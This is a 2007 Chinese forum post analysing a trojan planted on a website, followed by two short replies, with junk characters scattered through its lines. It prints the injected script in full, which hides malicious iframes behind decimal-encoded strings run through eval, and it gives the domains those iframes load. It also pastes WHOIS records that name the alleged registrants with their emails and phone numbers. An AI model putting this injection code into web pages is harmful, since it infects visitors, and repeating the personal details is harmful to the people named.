社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5493阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, HY)ESU !  
s[AA7>]3  
http://www.areway.cn/?p=175 ^o d<JD4  
K]fpGo  
SDBt @=Nl  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: BQjGv?p0s  
          n?E}b$6  
<script>t=’60,105,102,114,97,109,101, c Zvf"cIs  
32,115,114,99,61,104,116,116,112,58,47,47, $|a;~m>  
102,114,101,101,46,117,45,117,117,117,46,99, ue0s&WF|  
110,47,101,114,114,111,114,46,104,116,109, KAc>-c<  
32,119,105,100,116,104,61,49,48,48,32,104, T*CME]  
101,105,103,104,116,61,48,62,60,47,105,102, Gt~JA0+C)7  
114,97,109,101,62′; nQ=aLV+'  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> qLjT.7 .x  
                                                                                                  uLVBM]Qj  
<script>t=’60,105,102,114,97,109,101,32,115, AyVrk 8G  
114,99,61,104,116,116,112,58,47,47,102,114, !wh&>3~  
101,101,46,117,45,117,117,117,46,99,110,47, 'fY9a(Xt.  
101,114,114,111,114,46,104,116,109,32,119, #a,9B-X  
105,100,116,104,61,49,48,48,32,104,101,105, ({[,$dEa;  
103,104,116,61,48,62,60,47,105,102,114,97, #I%s 3  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); -Mf Q&U   
document.write(t);</script> z"379b7cN  
                                                                                                  T~k)uQ  
<html xmlns=” =u|~ <zQw  
http://www.w3.org/1999/xhtml 9DE)S)e8  
“> $1 @,Qor  
<head> i@zY9,b  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> MYdx .NZT  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> U<bYFuS"  
<title>首页 - 爱生活家庭网 %}b8aG+  
                                                                                                                                                    LM.`cb;?G  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Zdn!qyR`  
转换字符串后的大概内容是(谁点击后果自付): h-mTj3p-K  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ai^|N.!  
                                                                                                                                  S>f&6ZDNY(  
查询玉米u-uuu.cn的详细信息: W`L!N&fB  
Domain Name: u-uuu.cn l\Xd.H" j,  
ROID: 20070901s10001s64972306-cn ngUHkpYS5  
Domain Status: ok d`%M g&  
Registrant Organization: 王雷 44-r\>  
Registrant Name: 王雷 K ,isjh2  
Administrative Email: czlovexs@126.com `|Fp^gM  
Sponsoring Registrar: 北京万网志成科技有限公司 ;n*J$B  
Name Server:ns.yovole.com =2 jhII  
Name Server:ns1.yovole.com l[YEKg  
Registration Date: 2007-09-01 17:54 L`3n2DEBf  
Expiration Date: 2008-09-01 17:54 `&*bM0(J  
最后PING了一下地址 都没有什么…. wk[ wNIu  
                                                                                                g>0vm2|  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. c K<)$*  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> P))^vUt~  
<script language=”javascript” src=” FFzH!=7T?  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script qnIew?-*  
> w~+aW(2  
这个玉米应该有可能是木马作者的: i_l+:/+G+  
foafau.info的详细信息: M{KW@7j  
Access to INFO WHOIS information is provided to assist persons in flnVYQe  
determining the contents of a domain name registration record in the r@$ w*%  
Afilias registry database. The data in this record is provided by 8cdsToF(e.  
Afilias Limited for informational purposes only, and Afilias does not (:sZ b?*  
guarantee its accuracy.  This service is intended only for query-based ZkWL_ H)  
access. You agree that you will use this data only for lawful purposes b^Cfhy^RTq  
and that, under no circumstances will you use this data to: (a) allow, `ROG~0lN(  
enable, or otherwise support the transmission by e-mail, telephone, or <avQR9'&  
facsimile of mass unsolicited, commercial advertising or solicitations 5H !y46z  
to entities other than the data recipient’s own existing customers; or NFyMY#\]  
(b) enable high volume, automated, electronic processes that send >K:u ?YD[  
queries or data to the systems of Registry Operator, a Registrar, or F ?=9eISLJ  
Afilias except as reasonably necessary to register domain names or !%S4 n  
modify existing registrations. All rights reserved. Afilias reserves }ug xN0  
the right to modify these terms at any time. By submitting this query, !j^&gRH  
you agree to abide by this policy. bFGDgwe z  
Domain ID:D22418703-LRMS Qv{,wytyO  
Domain Name:FOAFAU.INFO f/ahwz  
Created On:20-Nov-2007 16:05:42 UTC "J19*<~  
Last Updated On:20-Nov-2007 16:05:44 UTC , =y#m- 9  
Expiration Date:20-Nov-2008 16:05:42 UTC g9>~HF$U  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) -%m3-xZA  
Status:CLIENT DELETE PROHIBITED 5PiOH"!19  
Status:CLIENT RENEW PROHIBITED ja T$gAx  
Status:CLIENT TRANSFER PROHIBITED 7"Mk+'  
Status:CLIENT UPDATE PROHIBITED DxSsg  
Status:TRANSFER PROHIBITED m 7 LUrU  
Registrant ID:GODA-040110615 n-afDV  
Registrant Name:liu hong 8ws$k\>  
Registrant Organization: 92[a; a  
Registrant Street1:beijing qL 5>o>J  
Registrant Street2: )K0i@hM(n  
Registrant Street3: $3;Upgv  
Registrant City:beijing 8<dOMp;}r  
Registrant State/Province: f_\_9o"l  
Registrant Postal Code:100000 GP,<`l&  
Registrant Country:CN I1=(. *B}  
Registrant Phone:+86.860108888777 O4|2|sA  
Registrant Phone Ext.: ~`cwG` 'N  
Registrant FAX: &Lj@9\Dh  
Registrant FAX Ext.: 5:_hP{ @  
Registrant Email:bbbshiji@163.com 1r9f[j~  
Admin ID:GODA-240110615 |jG~,{  
Admin Name:liu hong 1oY^]OD]W  
Admin Organization: r>n" 51*  
Admin Street1:beijing a.kbov(  
Admin Street2: &ab|2*3?X  
Admin Street3: K+d2m9C=  
Admin City:beijing jRj=Awy  
Admin State/Province: X6@wkrf-  
Admin Postal Code:100000 JUt7En;XE  
Admin Country:CN M+Uyb7  
Admin Phone:+86.860108888777 Mi 0sC24b|  
Admin Phone Ext.: K-Mc6  
Admin FAX: SvuTc!$?  
Admin FAX Ext.: 63&^BW  
Admin Email:bbbshiji@163.com HlB]38  
Billing ID:GODA-340110615 P+(i^=S  
Billing Name:liu hong wL{qD  
Billing Organization: Xs$Ufi  
Billing Street1:beijing j8$Zv%Ca%  
Billing Street2: (03pJV&K  
Billing Street3: 8]"(!i_;)  
Billing City:beijing r4{<Z3*N  
Billing State/Province: ")UwkF  
Billing Postal Code:100000 ~[W#/kd1n  
Billing Country:CN s"~5']8  
Billing Phone:+86.860108888777 N4{nG,Mo]  
Billing Phone Ext.: s] au/T6b  
Billing FAX: 4IsG=7   
Billing FAX Ext.: Pq p *  
Billing Email:bbbshiji@163.com w"zE_9I\  
Tech ID:GODA-140110615 =$^MQ\S0p  
Tech Name:liu hong Ew,T5GG  
Tech Organization: fZN><3MO>  
Tech Street1:beijing uzU{z;  
Tech Street2: -_0?_Cb  
Tech Street3: a. %LHb  
Tech City:beijing fi%r<]@  
Tech State/Province: p{tK_ZBy]c  
Tech Postal Code:100000 nzsl@1s  
Tech Country:CN %J7UP4  
Tech Phone:+86.860108888777 .#w6%c@  
Tech Phone Ext.: w# y2_  
Tech FAX: (Tvcq  
Tech FAX Ext.: SN Y (*  
Tech Email:bbbshiji@163.com $dg9z}D  
Name Server:NS27.DOMAINCONTROL.COM c:hK$C)T  
Name Server:NS28.DOMAINCONTROL.COM l54 m22pfv  
Name Server: vNDu9ovs-  
Name Server: 3Qn!y\#  
Name Server: M {a #  
Name Server: Le#spvV3J|  
Name Server: {6,|IGAq V  
Name Server: LR&_2e^[  
Name Server: tw K^I6@  
Name Server: ^twivNB  
Name Server: u=NG6 G  
Name Server: -,# +`>w  
Name Server: -4 Ux,9&  
                                                                                                          "IjI'c  
接着下载每个文件里面的代码: AHbZQulC  
一步一步看.. mOBACTY^  
TwahR:T   
4g` jd  
)N !>=  
zF&=U`v  
N|Cs=-+  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八